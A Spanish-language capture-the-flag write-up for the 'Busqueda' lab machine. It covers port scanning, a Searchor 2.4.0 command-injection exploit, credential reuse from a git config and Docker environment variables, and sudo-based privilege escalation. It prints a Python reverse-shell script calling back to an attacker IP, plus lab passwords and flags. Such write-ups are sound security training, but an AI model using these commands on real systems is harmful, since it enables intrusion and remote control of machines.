Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap.
Podemos ver que únicamente están abiertos los puertos número 22 con el servicio ssh
y 80 con el servicio http.
❯ nmap sS -sV -T4 -v -p- 10.10.11.208
Nmap scan report for 10.10.11.208
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Al visitar la dirección IP:80 se nos redirije a searcher.htb. Así que lo agregamos al archivo /etc/hosts
para que nos cargue correctamente.
└─$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 htb
10.10.11.208 searcher.htb

La funcionalidad de está web es básicamente de búsqueda, dónde se envian 2 parámetros "query" y
"engine". Inspeccionando un poco más a fondo encontramos en el footer que la web utiliza Flask y Searchor versión 2.4.0

Explotando la vulnerabilidad
Hacemos un búsqueda rápida en Google y sin demasiada dificultad encontramos un exploit que parece aprovecharse de una vulnerabilidad de Searchor 2.4.0,
situado en el repositorio Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection del usuario nikn0laty.

A continuación descargamos el exploit y lo ejecutamos habiendo antes puesto uno de nuestros puertos en modo escucha para recibir la reverse shell.
└─$ sudo bash ./exploit.sh searcher.htb 10.10.14.143 4444
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.143:4444
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
Funciona a la perfección y vemos como a través de la shell recibida por el puerto 4444 podemos accceder a la primera flag
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.143] from (UNKNOWN) [10.10.11.208] 38782
bash: cannot set terminal process group (1648): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ cd /home/svc
cd /home/svc
svc@busqueda:~$ ls
ls
snap
user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
c243bfed828743863d478995984383ef
svc@busqueda:~$
Escalada de privilegios
svc@busqueda:~$ ls -lisa
total 48
407223 4 drwxr-x--- 7 svc svc 4096 Jul 3 22:33 .
393218 4 drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
407234 0 lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null
407225 4 -rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
407224 4 -rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
407239 4 drwx------ 2 svc svc 4096 Feb 28 11:37 .cache
393324 4 -rw-rw-r-- 1 svc svc 135 Jul 3 21:10 .gitconfig
401435 4 drwx------ 3 svc svc 4096 Jul 3 21:00 .gnupg
410850 4 drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
397613 0 lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null
407226 4 -rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
407235 0 lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null
401430 4 drwx------ 3 svc svc 4096 Jul 3 20:29 snap
401437 4 drwx------ 2 svc svc 4096 Jul 3 22:27 .ssh
407253 4 -rw-r----- 1 root svc 33 Jul 3 20:24 user.txt
svc@busqueda:~$ cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
[safe]
directory = /var/www/app
directory = /var/www/app
svc@busqueda:~$
Encontramos el nombre de usuario "cody" y vamos a inspeccionar el directorio /var/www/app
svc@busqueda:/var/www/app$ ls -lisa
total 20
264653 4 drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
41701 4 drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
265511 4 -rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
327681 4 drwxr-xr-x 8 www-data www-data 4096 Jul 3 20:24 .git
265516 4 drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls
ls
branches
COMMIT_EDITMSG
config
description
HEAD
hooks
index
info
logs
objects
refs
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
Encontramos un subdominio llamado gitea.searcher.htb y más importante aún lo que parece ser la contraseña del usuario cody --> jh1usoih2bkjaspwe92
Accedemos a ella con las credenciales encontradas:

Es una web estilo GitHub en la que se pueden crear repositorios con código, encontramos el código de la web searcher.htb y podemos observar que hay un usuario administrador que es quién ha creado el repositorio pero nada más allá de esto...

Vamos a probar las credenciales en el servicio SSH encontrado anteriormente.
└─$ ssh cody@searcher.htb
cody@searcher.htb's password:
Permission denied, please try again.
└─$ ssh administrator@searcher.htb
administrator@searcher.htb's password:
Permission denied, please try again.
└─$ ssh svc@searcher.htb
svc@searcher.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
svc@busqueda:~$
Una vez hemos conseguido acceder con el usuario "svc" vamos a ver que es lo que podemos ejecutar como root para seguir con la escalada de privilegios.
svc@busqueda:/$ sudo -l
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
No somos capaces de leer el código del script así que vamos a ejecutarlo y ver que conclusiones podemos sacar:
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py /etc/passwd
Usage: /opt/scripts/system-checkup.py action (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
Volvemos al navegador y hacemos una búsqueda sobre "docker-inspect" para ver de que forma tenemos que usarlo.

Vamos a inspeccionar los dockers gitea y mysql respectivamente cogiendo su ID del comando anterior docker-ps
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,
"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},
"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml",
"com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":
"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}
svc@busqueda:/$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a
{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,
"Env":["MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,
"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker",
"com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}
Vamos a ir de nuevo a la web Gitea a probar las nuevas credenciales encontradas para logearnos como Administrator y luego iremos a inspeccionar la base de datos de la que tenemos la contraseña root.

¡Wow! Parece que ha funcionado y hemos accedido como administrador. Ahora tenemos acceso al código de los diferentes scripts anteriores para ver su funcionamiento.

Después de un rato mirando código encontramos algo interesante, dentro del script "system-checkup.py" podemos ver que intenta hacer al ser llamada y a que se debía el error que nos daba antes. Al llamarlo desde nuestro directorio home el script intentaba encontrar el archivo "full-checkup.sh" y al no hacerlo saltaba el "Something went wrong".

Si creamos un archivo con el nombre "full-checkup.sh" dentro de nuestro directorio con código para crear una reverse shell de root, este debería de poder ejecutarse y darnosla.
svc@busqueda:~$ cat full-checkup.sh
#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.143",1500))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
Al ejecutar el comando recibiremos la root shell por el puerto 1500 y accederemos a la última flag.
└─$ nc -lvnp 1500
listening on [any] 1500 ...
root# ls /root
ecosystem.config.js
root.txt
scripts
snap
root# cat /root/root.txt
87bef491ca430e840eef770a3ce41fd
